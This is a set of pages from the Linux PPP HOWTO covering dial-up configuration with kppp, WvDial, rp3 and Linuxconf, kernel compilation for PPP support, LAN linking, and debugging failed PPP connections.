The "Login Script" tag is only useful if you specified "Login Script" authentication under the "Dial" tab. If you need to use a Login Script, you can enter it here, as a series of commands. Select the type of command you wish to use, followed by the argument, then click "Add". Click "Remove" to remove a selected command.

The "Accounting" tab allows you to track the number of bytes that you have sent and recieved for a given connection. This can be useful if your ISP tracks the amount of data that you use, and perhaps charges you based on that. If you wish to use accounting, click on the "Enable accounting" box. You can then select a country, if you live in a country that has taxes, tariffs, or other charges based on data transfer. Otherwise, just select either "Bytes in", "Bytes in and out", or "Bytes out". For more information, consult the KPPP manual.

Click OK to finish the creation of this new account.

Now we'll cover the other tabs in the kppp configuration window.

The next one is "Device". It contains configuration information about your modem. You can select the device, flow control, line termination, and connection speed. It is recommended that you leave these alone unless otherwise specified by your ISP. You can also specify values for using a lock file for your modem device(recommended) and a modem timeout. Modem timeout refers to the amount of time that kppp will wait for your modem to respond.

The "Modem" tab is mainly useful for debugging your modem. You can also adjust your modem volume. For more information on these commands, consult the kppp documentation.

Next is the "PPP" tag. It contains many useful items for making kppp tailor fit to your needs. The "pppd Timeout" field specifies how long kppp should wait for pppd to bring up a connection. The "Dock" option states that kppp should recede into the KDE dock when it is connected. The "Automatic redial" specifies that kppp should redial if it is disconnected. The "show clock" option will display how time you have been connected. The "Disconnect on X-server shutdown" means that if you leave KDE, PPP should shut down. The "Quit on Disconnect" option will close kppp if you disconnect from your ISP. Finally, the "Minimize window on connect" option will minimize kppp when it connects.

The "Graph" tab is useful for kppp's throughput graphing. For more information on this feature, see kppp's documentation.

Click Ok to leave this menu. Now ensure your connection is selected in the "Connect to:" box, and click "connect". You're all set!

Prev | Home | Next
Other Useful/Important Documents |  | WvDial - A command-line pppd driver


Linking two networks using PPP

Linux PPP HOWTO
Prev Next

Chapter 24. Linking two networks using PPP

Table of Contents
24.1. Setting up the IP numbers
24.2. Setting up the routing
24.3. Network security

There is basically no difference between linking a single Linux PC to a PPP server and linking two LANs using PPP on a machine on each LAN. Remember, PPP is a peer to peer protocol.

However, you DEFINITELY need to understand about how routing is established. Read the NET-2 howto and the Linux Network Administrator Guide (NAG). You will also find TCP/IP Network Administration (published by O'Reilly and Assoc - ISBN 0-937175-82-X) to be of invaluable assistance.

If you are going to be sub networking an IP network number on either side of the link, you will also find the Linux (draft) sub networking mini-howto) to be of use. This is available at Linux Sub networking mini-HOWTO.

In order to link two LANs, you must be using different IP network numbers (or subnets of the same network number) and you will need to use static IP numbers - or use IP masquerade. If you want to use IP masquerade, see the IP masquerade mini-howto for instructions on setting that up.

24.1. Setting up the IP numbers

Arrange with the network administrator of the other LAN the IP numbers that will be used for each end of the PPP interface. If you are using static IP numbers, this will also probably require you to dial into a specific telephone number.

Now edit the appropriate /etc/ppp/options[.ttyXX] file - it's a good idea to have a specific modem and port at your end for this connection. This may well require you to change your /etc/ppp/options file - and create appropriate options.ttyXX files for any other connections!

Specify the IP numbers for your end of the PPP link in the appropriate options file exactly as shown above for static IP numbers.

Prev | Home | Next
Setting Up a local Name server |  | Setting up the routing


Differences between Linux distributions

Linux PPP HOWTO
Prev Chapter 2. Introduction Next

2.2. Differences between Linux distributions

There are many different Linux distributions and they all have their own idiosyncrasies and ways of doing things.

In particular, there are two different ways a Linux (and Unix) computer actually starts up, configures its interfaces, and so forth.

These are BSD system initialization and System V system initialization. If you dip into some of the Unix news groups, you will find occasional religious wars between proponents of these two systems. If that sort of thing amuses you, have fun burning bandwidth and join in!

Possibly the most widely used distributions are

  • Slackware which uses BSD style system initialization

  • Red Hat (and its former associate Caldera) which use SysV system initialization (although in a slightly modified form)

  • Debian which uses SysV system initialization

BSD style initialization typically keeps its initialization files in /etc/... and these files are:-

    /etc/rc
    /etc/rc.local
    /etc/rc.serial
        (and possibly other files)

Of recent times, some BSD system initialization schemes use a /etc/rc.d... directory to hold the start up file rather than putting everything into /etc.

System V initialization keeps its initialization files in directories under /etc/... or /etc/rc.d/... and a number of subdirectories under there:-

drwxr-xr-x   2 root     root         1024 Jul  6 15:12 init.d
-rwxr-xr-x   1 root     root         1776 Feb  9 05:01 rc
-rwxr-xr-x   1 root     root          820 Jan  2  1996 rc.local
-rwxr-xr-x   1 root     root         2567 Jul  5 20:30 rc.sysinit
drwxr-xr-x   2 root     root         1024 Jul  6 15:12 rc0.d
drwxr-xr-x   2 root     root         1024 Jul  6 15:12 rc1.d
drwxr-xr-x   2 root     root         1024 Jul  6 15:12 rc2.d
drwxr-xr-x   2 root     root         1024 Jul 18 18:07 rc3.d
drwxr-xr-x   2 root     root         1024 May 27  1995 rc4.d
drwxr-xr-x   2 root     root         1024 Jul  6 15:12 rc5.d
drwxr-xr-x   2 root     root         1024 Jul  6 15:12 rc6.d

If you are trying to track down where your Ethernet interface and associated network routes are actually configured, you will need to track through these files to actually find where the commands are that do this.

Prev | Home | Next
Introduction | Up | PPP configuration tools


PPP configuration tools

Linux PPP HOWTO
Prev Chapter 2. Introduction Next

2.3. PPP configuration tools

There are many good tools available for configuring and using PPP on Linux. This document will try to cover some of the more popular ones, including:

  • kppp A PPP setup and dialer tool for KDE.

  • WvDial Another PPP driver for Linux, with an emphasis on simplicity.

  • RP3...(short for RedHat PPP). It is a simple configuration program with a "wizard" interface- it asks a series of questions.

  • Linuxconf A generalized tool for configuring and managing your Linux machine, it has a section that helps configure PPP.

Prev | Home | Next
Differences between Linux distributions | Up | IP Numbers


Linking two LANs or a LAN to the Internet using PPP

Linux PPP HOWTO
Prev Chapter 4. Aims of this Document Next

4.2. Linking two LANs or a LAN to the Internet using PPP

This document provides (basic) information on linking two LANs or a LAN to the Internet using PPP.

Prev | Home | Next
Aims of this Document | Up | Using intuitive configuration tools to set up PPP


Using intuitive configuration tools to set up PPP

Linux PPP HOWTO
Prev Chapter 4. Aims of this Document Next

4.3. Using intuitive configuration tools to set up PPP

There are many tools used for configuring your PPP connection. This document will try to cover the most common and easiest to use of said programs.

Prev | Home | Next
Linking two LANs or a LAN to the Internet using PPP | Up | Setting up a PPP server


Setting up a PPP server

Linux PPP HOWTO
Prev Chapter 4. Aims of this Document Next

4.4. Setting up a PPP server

This document provides guidance on how to configure your Linux PC as a PPP server (allowing other people to dial into your Linux PC and establish a PPP connection).

You should note that there are a myriad of ways of setting up Linux as a PPP server. This document gives one method - that used by the author to set up several small PPP servers (each of 16 modems).

This method is known to work well. However, it is not necessarily the best method.

Prev | Home | Next
Using intuitive configuration tools to set up PPP | Up | Using PPP over a direct null modem connection


Using PPP over a direct null modem connection

Linux PPP HOWTO
Prev Chapter 4. Aims of this Document Next

4.5. Using PPP over a direct null modem connection

This document provides a brief overview of using PPP to link two Linux PCs via a null modem cable. It is possible to link other OS's to Linux this way as well. To do so, you will need to consult the documentation for the operating system you are interested in.

Prev | Home | Next
Setting up a PPP server | Up | This document at present does NOT cover...


This document at present does NOT cover...

Linux PPP HOWTO
Prev Chapter 4. Aims of this Document Next

4.6. This document at present does NOT cover...

  • Compiling the PPP daemon software See the documentation that comes with the version of pppd you are using.

  • Connecting and configuring a modem to Linux (in detail) See the Serial-HOWTO and for modem specific initialization, see Modem Setup Information for information that may help you to configure your modem.

  • Using DIP to make PPP connections. Use chat instead...

  • Using socks or IP Masquerade. There are perfectly good documents already covering these two packages.

  • Using EQL to gang together two modems into a single PPP link. This is covered in the Networking-HOWTO.

Prev | Home | Next
Using PPP over a direct null modem connection | Up | Software versions covered


WvDial - A command-line pppd driver

Linux PPP HOWTO
Prev Chapter 7. Easy Configuration Utilities for PPP Next

7.2. WvDial - A command-line pppd driver

The WvDial homepage is here

WvDial is a command-line pppd driver. It has two main components, wvdialconf and wvdial. Both must be run as root.

First you must run wvdialconf. wvdialconf is generates a configuration file containing information on your modem and ISP information. Running wvdialconf will probe your comm ports, looking for a modem, and determine the capabilities of any modems it finds.

wvdialconf is invoked with the name of your wvdial configuration file- which is always /etc/wvdial.conf. Here's what the output should look like.

[root@blah /root]# wvdialconf newconffile
Scanning your serial ports for a modem.

ttyS1<*1>: ATQ0 V1 E1 -- OK
ttyS1<*1>: ATQ0 V1 E1 Z -- OK
ttyS1<*1>: ATQ0 V1 E1 S0=0 -- OK
ttyS1<*1>: ATQ0 V1 E1 S0=0 &C1 -- OK
ttyS1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 -- OK
ttyS1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 -- OK
ttyS1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 -- OK
ttyS1<*1>: Modem Identifier: ATI -- 28800
ttyS1<*1>: Speed 2400: AT -- OK
ttyS1<*1>: Speed 4800: AT -- OK
ttyS1<*1>: Speed 9600: AT -- OK
ttyS1<*1>: Speed 19200: AT -- OK
ttyS1<*1>: Speed 38400: AT -- OK
ttyS1<*1>: Speed 57600: AT -- OK
ttyS1<*1>: Speed 115200: AT -- OK
ttyS1<*1>: Max speed is 115200; that should be safe.
ttyS1<*1>: ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 -- OK
ttyS0<*1>: ATQ0 V1 E1 -- ATQ0 V1 E1 -- ATQ0 V1 E1 -- nothing.
Port Scan<*1>: S2   S3

Found a modem on /dev/ttyS1.

If your output looks different, check that your modem is plugged in, turned on, and connected to a com port.

Once you have run wvdialconf, you need to edit the /etc/wvdial.conf file to reflect the phone number to dial, and your username and password. Open up /etc/wvdial.conf in your favorite text editor. It should look something like this:

[Dialer Defaults]
Modem = /dev/ttyS1
Baud = 115200
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0
; Phone = 555-1212
; Username = my_login_name
; Password = my_login_password

Remove the ';' and fill in the appropriate fields- phone number, login name and password. Now you should be all set to run wvdial.

Run wvdial. Assuming that you filled in your phone number, username, and password correctly, wvdial will now dial your ISP. wvdial will not exit until the connection is terminated- you can do a Ctrl-C to terminate it.

wvdial is fairly new and untested software, so if you run into any problems along the way, you should contact the authors. You can find their contact info on the homepage listed above.

Prev | Home | Next
Easy Configuration Utilities for PPP | Up | rp3 - RedHat PPP dialer


rp3 - RedHat PPP dialer

Linux PPP HOWTO
Prev Chapter 7. Easy Configuration Utilities for PPP Next

7.3. rp3 - RedHat PPP dialer

A good page about rp3 is located here.

rp3 is available on any RedHat system running RedHat 6.2 or later. It is located on your GNOME menu under Internet- called "Dialup Configuration Tool". It is perhaps the simplest to use of the tools this HOWTO covers. When you start it up, it presents you with a screen that looks like this:

Click "Next". If rp3 can't find a modem, it will try to confiugre one. Select your modem from the list and click next if this happens. You should see a screen asking for an "Account name" and a phone number. Enter your ISP's name and number in the appropriate fields. Click "Next".

rp3 will then ask you for your username and password. Enter them in the appropriate fields and click "Next". Next rp3 will ask you if your ISP is named in a list. If it is, select it and click next. If not, select "Normal ISP" and click next.

That's it! Click "Finish" to complete account creation.

To initiate a connection, go to the GNOME menu again, and look under Internet for "RH PPP Dialer". Click on it. When asked for an interface, select "ppp0". This should bring up a small window. Right click on the window, then on "Connect to ppp0". Wait a few seconds, and you're online! To disconnect, right click on the window again, and then click "Disconnect". That's it.

Prev | Home | Next
WvDial - A command-line pppd driver | Up | Linuxconf - Universal (almost) Linux PPP dialer


Linuxconf - Universal (almost) Linux PPP dialer

Linux PPP HOWTO
Prev Chapter 7. Easy Configuration Utilities for PPP Next

7.4. Linuxconf - Universal (almost) Linux PPP dialer

Linuxconf homepage

For help at any time while using Linuxconf, just hit the help key. Linuxconf has contextual help menus for most its functionality.

Linuxconf's PPP section is fairly simple. First of all, open up Linuxconf. This must be done as root. Here's a shot of Linuxconf in action:

Click on the box next to "Config", then the box on "Networking", then the box next to "Client tasks". You should see an entry called "PPP/SLIP/PLIP". Click on that. On the right hand side of Linuxconf, you should now see a box called "PPP/Slip/Plip configurations". There should be an area below that, listing existing PPP devices(if any) and three buttons below that.

Click "Add" to add a new connection. It will then ask you to select a type of interface. Make sure "PPP" is selected, then press Accept.

In this box, there are fields for phone number, modem, username and password. Enter the appropriate information into the appropriate fields, and you should be configured.

To bring up the PPP link, open the "Control" tab on the left hand side, then go to "Control Panels", then "Control PPP/SLIP/PLIP Link". You should see a list of PPP devices. Click on the one you just made. A question will pop up, asking you if you wish to activate the connection. Click "Yes".

There are also advanced configuration options, such as modem speed, connect scripts and etc. If you need to configure any of that, go back to the place where you originally configured the link, and click on the link you wish to customize. It should bring up a screen with four tabs: Hardware, Communication, Networking,and PAP.

It is advisable to not change any of these options unless you are specifically told to do so by your ISP or modem vendor. Most of them will work just fine without any additional configuration.

Linuxconf also has command line tools for use in bringing your PPP connection up and down:

  • netconf --connect pppsetup [--fore] This will bring the link up. The optional --fore means that it remains in the foreground. Otherwise it will terminate either if the connection is successful or if it fails. It will return 0 if successful, higher if otherwise.

  • netconf --dialctl This will display all the available connections and their status.

  • netconf --disconnect pppsetup This will disconnect the link.

Prev | Home | Next
rp3 - RedHat PPP dialer | Up | Debugging


My modem connects but ppp never starts up

Linux PPP HOWTO
Prev Chapter 8. Debugging Next

8.2. My modem connects but ppp never starts up

There are innumerable variations on this (take a look in comp.os.linux...).

A VERY common mistake is that you have mistyped something in your scripts. The only thing to do here is to make sure you are logging the chat conversation between you Linux PC and the server into your syslog (/var/log/messages) and then go through this line by line to make sure there are no mistakes.You may need to dial into the ppp server manually to check things out again.

You need to check the log against the actual prompts very carefully - and bear in mind that we humans have a tendency to read what we THINK we have typed - not what is actually there!

Prev | Home | Next
Debugging | Up | The syslog says "serial line is not 8 bit clean"


The syslog says "serial line is not 8 bit clean"

Linux PPP HOWTO
Prev Chapter 8. Debugging Next

8.3. The syslog says "serial line is not 8 bit clean"

There are variations on this too - such as serial line looped back etc., and the cause can be one (or a sequence) of a number of things.

To understand what is going on here, it is necessary to grasp a bit of what is going on behind the scenes in pppd itself.

When pppd starts up, it sends LCP (link control protocol) packets to the remote machine. If it receives a valid response it then goes on to the next stage (using IPCP - IP control protocol packets) and only when this negotiation completes is the actual IP layer started so that you can use the PPP link.

If there is no ppp server operating at the remote end when your PC sends lcp packets, these get reflected by the login process at the far end. As these packets use 8 bits, reflecting them strips the 8th bit (remember, ASCII is a 7 bit code). PPP sees this and complains accordingly.

There are several reasons this reflection can occur.

8.3.1. You are not correctly logging into the server

When your chat script completes, pppd starts on your PC. However, if you have not completed the log in process to the server (including sending any command required to start PPP on the server), PPP will not start.

So, the lcp packets are reflected and you receive this error.

You need to carefully check and correct (if necessary) your chat script (see above).

8.3.2. You are not starting PPP on the server

Some PPP servers require you to enter a command and/or a RETURN after completing the log in process before the remote end starts ppp.

Check your chat script (see above).

If you log in manually and find you need to send a RETURN after this to start PPP, simply add a blank expect/send pair to the end of your chat script (an empty send string actually sends a RETURN).

8.3.3. The remote PPP process is slow to start

This one is a bit tricksy!

By default, your Linux pppd is compiled to send a maximum of 10 lcp configuration requests. If the server is a bit slow to start up, all 10 such requests can be sent before the remote PPP is ready to receive them.

On your machine, pppd sees all 10 requests reflected back (with the 8th bit stripped) and exits.

There are two ways round this:-

Add "lcp-max-configure 30" to your ppp options. This increases the maximum number of lcp configure packets pppd sends before giving up. For really slow server, you may need even more than this.

Alternatively, you can get a bit tricksy in return. You may have noticed that when you logged in by hand to the PPP server and PPP started there, the first character of the ppp garbage that appears was always the tilde character (˜).

Using this knowledge we can add a new expect/send pair to the end of the chat script which expects a tilde and sends nothing. This would look like:-

\~	''

Note: as the tilde character has a special meaning in the shell, it must be escaped (and hence the leading backslash).

Prev | Home | Next
My modem connects but ppp never starts up | Up | Default route not set


Default route not set

Linux PPP HOWTO
Prev Chapter 8. Debugging Next

8.4. Default route not set

If pppd refuses to set up a default route, it is because (quite correctly) it refuses to remove/replace an existing default route.

The usual reason that this error occurs is that some distributions set up a default route via your Ethernet card as opposed to setting up a specific network route.

See the Linux NAG and the Net2/3 HOWTOs for information on correctly setting up your Ethernet card and associated routes.

An alternative to this is that your LAN uses a gateway/router already and your routing table has been set up to point the default route at this.

Fixing up this last situation can require a fair bit of IP networking knowledge and is beyond the scope of this HOWTO. It is suggested you obtain some expert advice (via the news groups of from someone locally you can ask).

Prev | Home | Next
The syslog says "serial line is not 8 bit clean" | Up | Other Problems


Other Problems

Linux PPP HOWTO
Prev Chapter 8. Debugging Next

8.5. Other Problems

There are many reasons apart from these that ppp fails to connect and/or operate properly.

Look in the PPP FAQ (which is really a series of questions and answers). This is a very comprehensive document and the answers ARE there! From my own (sad) experience, if the answer to your problems is not there, the problem is NOT ppp's fault! In my case I was using an ELF kernel that I had not upgraded to the appropriate kernel modules. I only wasted about 2 days (and most of one night) cursing what had been a perfect PPP server before the light dawned!

Prev | Home | Next
Default route not set | Up | Overview of what has to be done to get PPP working as a client


Compiling PPP support into the kernel

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.2. Compiling PPP support into the kernel

Linux PPP operations come in two parts

  • the PPP daemon mentioned above

  • kernel support for PPP

Most distributions seem to provide PPP kernel support in their default installation kernels, but others do not.

If at boot your kernel reports messages like

PPP Dynamic channel allocation code copyright 1995 Caldera, Inc.
PPP line discipline registered.

your kernel does have PPP support compiled in.

That said, you may want to compile your own kernel, whatever your distribution, to provide the most efficient use of system resources given your particular hardware configuration. It is worth remembering that the kernel cannot be swapped out of memory and so keeping the kernel as small as possible has advantages on a memory limited machine.

This document provides minimal kernel re-compilation instructions at section Chapter 10.

For greater detail, see the Kernel-HOWTO at The Linux Kernel HOWTO

Prev | Home | Next
Overview of what has to be done to get PPP working as a client | Up | Obtaining information from your ISP


Obtaining information from your ISP

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.3. Obtaining information from your ISP

There are an almost infinite number of ways in which a PPP server can be set up. In order to connect to your ISP (or corporate PPP server to access your intranet), you will need to obtain information on how the PPP server operates.

Because you are using Linux, you may have some difficulty with some ISP help desks (and work site based PPP intranet servers) which know only about MS Windows clients.

However, a rapidly growing number of ISPs use Linux to provide their service - and Linux is also penetrating the corporate environment as well, so you may be lucky if you do strike problems.

Section Chapter 11 tells you what you need to know about the PPP server to which you are going to connect - and how to find out the information you need to know.

Prev | Home | Next
Compiling PPP support into the kernel | Up | Configuring your modem and serial port


Configuring your modem and serial port

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.4. Configuring your modem and serial port

In order to connect to a PPP server and to obtain the best possible data transfer rate, your modem needs to be configured correctly.

Similarly, the serial ports on your modem and computer need to be set up correctly.

Section Chapter 12 provides information on this.

Prev | Home | Next
Obtaining information from your ISP | Up | Setting up Name to Address Resolution (DNS)


Setting up Name to Address Resolution (DNS)

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.5. Setting up Name to Address Resolution (DNS)

In addition to the files that run PPP and perform the automated log in to the PPP server, there are a number of text configuration files that have to be set up for your computer to be able to resolve names like www.interweft.com.au to the IP address that is actually used to contact that computer. These are:-

  • /etc/resolv.conf

  • /etc/host.conf

Section Chapter 13 for details on setting this up.

In particular, you do NOT need to run a name server on your Linux PC in order to connect to the Internet (although you may wish to). All you need is to know the IP number of at least one name server that you can use (preferably one at your ISPs site).

Prev | Home | Next
Configuring your modem and serial port | Up | PPP and root Privileges


PPP and root Privileges

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.6. PPP and root Privileges

As establishing a PPP link between you Linux computer and another PPP server requires manipulation of network devices (the PPP interface is a network interface) and the kernel routing table, pppd requires root privileges.

For details on this, see section Chapter 14.

Prev | Home | Next
Setting up Name to Address Resolution (DNS) | Up | Checking your distribution PPP Files and setting up the PPP Options


Checking your distribution PPP Files and setting up the PPP Options

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.7. Checking your distribution PPP Files and setting up the PPP Options

There are a number of configuration and dialer files that need to be set up to get PPP operational. There are examples as part of the PPP distribution and this section shows what files you should have:-

/etc/ppp/options
/etc/ppp/scripts/ppp-on
/etc/ppp/scripts/ppp-on-dialer
/etc/ppp/options.tpl

You may need to create some additional files depending on exactly what you are aiming to achieve with PPP:-

/etc/ppp/options.ttyXX
/etc/ppp/ip-up
/etc/ppp/pap-secrets
/etc/ppp/chap-secrets

In addition, the PPP daemon can use a large number of command line options and it is important to use the right ones; so this section takes you through the standard PPP options and helps you choose the options you should use.

For details on this, see Chapter 15.

Prev | Home | Next
PPP and root Privileges | Up | If your PPP server uses PAP (Password Authentication Protocol)


If your PPP server uses PAP (Password Authentication Protocol)

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.8. If your PPP server uses PAP (Password Authentication Protocol)

Many ISPs and corporate PPP servers use PAP. If your server does not require you to use PAP (if you can log in manually and receive the standard user name/password text based prompts it does not use PAP), you can safely ignore this section.

Instead of logging into such a server using a user name and password when prompted to enter them by the server, a PPP server using PAP does not require a text based login.

The user authentication information instead is exchanged as part of the link control protocol (LCP), which is the first part of establishing a PPP link.

Section Chapter 16 provides information on the files you need to set up to establish a PPP link using PAP.

Prev | Home | Next
Checking your distribution PPP Files and setting up the PPP Options | Up | Connecting to the PPP server by hand


Connecting to the PPP server by hand

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.9. Connecting to the PPP server by hand

Having set up the basic files, it is a good idea to test these by connecting (using minicom or seyon) and starting pppd on your Linux PC by hand.

See Section Chapter 17 for full details of setting this up.

Prev | Home | Next
If your PPP server uses PAP (Password Authentication Protocol) | Up | Automating your PPP Connection


Automating your PPP Connection

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.10. Automating your PPP Connection

Once you are able to log in by hand, you can now move to setting up a set of scripts that will automate the establishment of the connection.

Section Chapter 18 covers setting up the necessary scripts, with considerable attention paid to chat and scripting the login process to the PPP server.

This section discusses scripts for user name/password authentication as well as scripts for PAP/CHAP authenticating servers.

Prev | Home | Next
Connecting to the PPP server by hand | Up | Shutting down the link


Shutting down the link

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.11. Shutting down the link

Once your link is up and working, you need to be able to deactivate the link.

This is covered in Section Chapter 20.

Prev | Home | Next
Automating your PPP Connection | Up | If you have problems


If you have problems

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.12. If you have problems

Many people have problems getting PPP to work straight away. The variation in PPP servers and how they require you to set up the connection is enormous. Similarly, there are many options to PPP - and some combinations of these just do not work together, ever.

In addition to the problems of logging in and starting the PPP service, there are problems with the modems and the actual telephone lines as well!

Section Chapter 8 provides some basic information about common errors, how to isolate these and fix them.

This is NOT intended to provide more than just the basics. Al Longyear maintains the PPP-FAQ which contains much more information on this topic!

Prev | Home | Next
Shutting down the link | Up | After the link comes up


After the link comes up

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.13. After the link comes up

Once a PPP link is operational (specifically, once the IP layer is operational), Linux PPP can automatically run (as the root user), a script to perform any function you can write a script to accomplish.

Section Chapter 25 provides information on the /etc/ppp/ip-up script, the parameters it receives from PPP, and how to use it to do things like, acquire your email from your ISP account, send any queued email waiting transmission on your machine and such.

Prev | Home | Next
If you have problems | Up | Problems with standard IP services on a Dynamic IP number PPP link


Problems with standard IP services on a Dynamic IP number PPP link

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.14. Problems with standard IP services on a Dynamic IP number PPP link

As noted in the introduction, dynamic IP numbers affect the ability of your Linux PC to act as a server on the Internet.

Section Chapter 23 provides information on the (main) services affected and what you can do (if anything) to overcome this.

Prev | Home | Next
After the link comes up | Up | Maintaining a permanent connection to the net with pppd.


Maintaining a permanent connection to the net with pppd.

Linux PPP HOWTO
Prev Chapter 9. Overview of what has to be done to get PPP working as a client Next

9.15. Maintaining a permanent connection to the net with pppd.

If you are fortunate enough to have a semi permanent connection to the net and would like to have your machine automatically redial your PPP connection if it is lost then here is a simple trick to do so.

Configure PPP such that it can be started by the root user by issuing the command:
# pppd
Be sure that you have the `-detach' option configured in your /etc/ppp/options file. Then, insert the following line into your /etc/inittab file, down with the getty definitions:
pd:23:respawn:/usr/sbin/pppd
This will cause the init program to spawn and monitor the pppd program and automatically restart it if it dies.

Prev | Home | Next
Problems with standard IP services on a Dynamic IP number PPP link | Up | Configuring your Linux Kernel


Knowing your hardware

Linux PPP HOWTO
Prev Chapter 10. Configuring your Linux Kernel Next

10.2. Knowing your hardware

You MUST know what cards/devices you have inside your PC if you are going to recompile your kernel!!! For some devices (such as sound cards) you will also need to know various settings (such as IRQ's, I/O addresses and such).

Prev | Home | Next
Configuring your Linux Kernel | Up | Kernel compilation - the Linux 1.2.13 kernel


Kernel compilation - the Linux 1.2.13 kernel

Linux PPP HOWTO
Prev Chapter 10. Configuring your Linux Kernel Next

10.3. Kernel compilation - the Linux 1.2.13 kernel

To start the configuration process, follow the instructions in the README file to properly install the sources. You start the kernel configuration process with...

make config

In order to use PPP, you must configure the kernel to include PPP support (PPP requires BOTH pppd AND kernel support for PPP).

  PPP (point-to-point) support (CONFIG_PPP) [n] y

Answer the other make config questions according to the hardware in your PC and the features of the Linux operating system you want. Then continue to follow the README to compile and install your new kernel.

The 1.2.13 kernel creates only 4 PPP devices. For multi- port serial cards, you will need to edit the kernel PPP sources to obtain more ports. (See the README.linux file that comes as part of the PPP-2.1.2 distribution for full details of the simple edits you need to make).

Note: the 1.2.13 configuration dialogue does NOT allow you to go backwards - so if you make a mistake in answering one of the questions in the make config dialogue, exit by typing CTRL C and start again.

Prev | Home | Next
Knowing your hardware | Up | Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels


Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels

Linux PPP HOWTO
Prev Chapter 10. Configuring your Linux Kernel Next

10.4. Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels

For Linux 1.3.x, 2.0.x, and 2.2.x you can use a similar process as for Linux 1.2.13. Again, follow the instructions in the README file to properly install the sources. You start the kernel configuration process with...

make config

However, you also have the choice of...
make menuconfig

This provides a menu based configuration system with online help that allows you to move backwards and forwards in the configuration process.

There is also a highly recommended X windows based configuration interface...
make xconfig

You can compile PPP support directly into your kernel or as a loadable module.

If you only use PPP some of the time that your Linux machine is operating, then compiling PPP support as a loadable module is recommended. Using 'kerneld', your kernel will automatically load the module(s) required to provide PPP support when you start your PPP link process. This saves valuable memory space: no part of the kernel can be swapped out of memory, but loadable modules are automatically removed if they are not in use.

To do this, you need to enable loadable module support:-
    Enable loadable module support (CONFIG_MODULES) [Y/n/?] y

To add PPP kernel support, answer the following question:-
    PPP (point-to-point) support (CONFIG_PPP) [M/n/y/?]

For a PPP loadable module, answer M, otherwise for PPP compiled in as part of the kernel, answer Y.

Unlike kernel 1.2.13, kernel 2.0.x creates PPP devices on the fly as needed and it is not necessary to hack the sources to increase available PPP device numbers at all.

Prev | Home | Next
Kernel compilation - the Linux 1.2.13 kernel | Up | Note on PPP-2.x and /proc/net/dev


Note on PPP-2.x and /proc/net/dev

Linux PPP HOWTO
Prev Chapter 10. Configuring your Linux Kernel Next

10.5. Note on PPP-2.x and /proc/net/dev

If you are using PPP-2.x, you will find that a side effect of the 'on the fly' creation of the PPP devices is that no devices show up if you look in the /proc/net file system until a device is created by starting up pppd:-

[hartr@archenland hartr]$ cat /proc/net/dev
Inter-|   Receive                  |  Transmit
 face |packets errs drop fifo frame|packets errs drop fifo colls carrier
    lo:  92792    0    0    0    0    92792    0    0    0     0    0
  eth0: 621737   13   13    0   23   501621    0    0    0  1309    0

Once you have one (or more) ppp services started, you will see entries such as this (from a ppp server):-

[root@kepler /root]# cat /proc/net/dev
Inter-|   Receive                  |  Transmit
 face |packets errs drop fifo frame|packets errs drop fifo colls carrier
    lo: 428021    0    0    0    0   428021    0    0    0     0    0
  eth0:4788257  648  648  319  650  1423836    0    0    0  4623    5
  ppp0:   2103    3    3    0    0     2017    0    0    0     0    0
  ppp1:  10008    0    0    0    0     8782    0    0    0     0    0
  ppp2:    305    0    0    0    0      297    0    0    0     0    0
  ppp3:   6720    7    7    0    0     7498    0    0    0     0    0
  ppp4: 118231  725  725    0    0   117791    0    0    0     0    0
  ppp5:  38915    5    5    0    0    28309    0    0    0     0    0

Prev | Home | Next
Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels | Up | General kernel config considerations for PPP


General kernel config considerations for PPP

Linux PPP HOWTO
Prev Chapter 10. Configuring your Linux Kernel Next

10.6. General kernel config considerations for PPP

If you are setting up your Linux PC as a PPP server, you must compile in IP forwarding support. This is also necessary if you want to use Linux to link to LANs together or your LAN to the Internet.

If you are linking a LAN to the Internet (or linking together two LANs), you should be concerned about security. Adding support for IP fire walls to the kernel is probably a MUST!

You will also need this if you want to use IP masquerade to connect a LAN that uses any of the above mentioned 'unconnected' IP network numbers.

To enable IP Masquerade and IP fire walling, you MUST answer yes to the first question in the make config process:-
Prompt for development and/or incomplete code/drivers (CONFIG_EXPERIMENTAL)?

Whilst this may sound a bit off-putting to new users, many users are actively using the IP Masquerade and IP fire walling features of the Linux 2.0.x or 2.2.x kernels with no problems.

Once you have installed and rebooted your new kernel, you can start configuring and testing your PPP link(s).

Prev | Home | Next
Note on PPP-2.x and /proc/net/dev | Up | Getting the Information you need about the PPP server


Serial Port Names

Linux PPP HOWTO
Prev Chapter 12. Configuring your modem and serial port Next

12.2. Serial Port Names

Historically, Linux used cuaX devices for dial-out and ttySx devices for dial-in.

The kernel code that required this was changed in kernel version 2.0.x and you should now use ttySx for both dial in and dial out. I understand that the cuaX device names may well disappear in future kernel versions.

Prev | Home | Next
Configuring your modem and serial port | Up | Configuring your modem


Configuring your modem

